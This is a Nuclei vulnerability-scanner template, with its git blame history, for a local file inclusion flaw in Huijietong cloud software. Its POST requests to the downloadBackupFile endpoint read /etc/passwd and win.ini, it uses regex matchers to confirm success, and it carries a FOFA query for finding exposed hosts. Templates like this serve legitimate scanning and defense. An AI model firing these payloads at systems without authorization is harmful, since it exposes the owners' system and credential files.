nuclei-templates/http/vulnerabilities/other/huijietong-cloud-fileread.yaml

id: huijietong-cloud-fileread

info:
  name: Huijietong - Local File Inclusion
  author: princechaddha,ritikchaddha
  description: Huijietong is vulnerable to local file inclusion.
  severity: high
  metadata:
    max-request: 2
    fofa-query: body="/him/api/rest/v1.0/node/role"
  tags: huijietong,lfi

http:
  - method: POST
    path:
      - "{{BaseURL}}/fileDownload?action=downloadBackupFile"
    body: 'fullPath=/etc/passwd'

  - method: POST
    path:
      - "{{BaseURL}}/fileDownload?action=downloadBackupFile"
    body: 'fullPath=/Windows/win.ini'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"
          - "\\[(font|extension|file)s\\]"
        condition: or

      - type: status
        status:
          - 200
Create huijietong-cloud-fileread.yaml 2021-07-05 16:29:12 +00:00			`id: huijietong-cloud-fileread`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00
Create huijietong-cloud-fileread.yaml 2021-07-05 16:29:12 +00:00			`info:`
Dashboard Content Enhancements (#5009) Dashboard Content Enhancements 2022-08-05 13:57:51 +00:00			`name: Huijietong - Local File Inclusion`
Update huijietong-cloud-fileread.yaml 2022-05-08 12:41:28 +00:00			`author: princechaddha,ritikchaddha`
Dashboard Content Enhancements (#5009) Dashboard Content Enhancements 2022-08-05 13:57:51 +00:00			`description: Huijietong is vulnerable to local file inclusion.`
Create huijietong-cloud-fileread.yaml 2021-07-05 16:29:12 +00:00			`severity: high`
Update huijietong-cloud-fileread.yaml 2022-05-08 12:41:28 +00:00			`metadata:`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`max-request: 2`
Update huijietong-cloud-fileread.yaml 2022-05-08 12:41:28 +00:00			`fofa-query: body="/him/api/rest/v1.0/node/role"`
Create huijietong-cloud-fileread.yaml 2021-07-05 16:29:12 +00:00			`tags: huijietong,lfi`

Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create huijietong-cloud-fileread.yaml 2021-07-05 16:29:12 +00:00			`- method: POST`
			`path:`
			`- "{{BaseURL}}/fileDownload?action=downloadBackupFile"`
			`body: 'fullPath=/etc/passwd'`
Update huijietong-cloud-fileread.yaml 2022-05-08 12:44:47 +00:00
Update huijietong-cloud-fileread.yaml 2022-05-08 12:41:28 +00:00			`- method: POST`
			`path:`
			`- "{{BaseURL}}/fileDownload?action=downloadBackupFile"`
			`body: 'fullPath=/Windows/win.ini'`
Create huijietong-cloud-fileread.yaml 2021-07-05 16:29:12 +00:00
			`matchers-condition: and`
			`matchers:`
			`- type: regex`
Update huijietong-cloud-fileread.yaml 2022-05-08 12:41:28 +00:00			`part: body`
Create huijietong-cloud-fileread.yaml 2021-07-05 16:29:12 +00:00			`regex:`
Updated "/etc/passwd" regex to avoid possible false positive results. 2022-03-22 08:01:31 +00:00			`- "root:.*:0:0:"`
Update huijietong-cloud-fileread.yaml 2022-05-09 08:01:15 +00:00			`- "\\[(font\|extension\|file)s\\]"`
Update huijietong-cloud-fileread.yaml 2022-05-08 12:41:28 +00:00			`condition: or`
Create huijietong-cloud-fileread.yaml 2021-07-05 16:29:12 +00:00
			`- type: status`
			`status:`
			`- 200`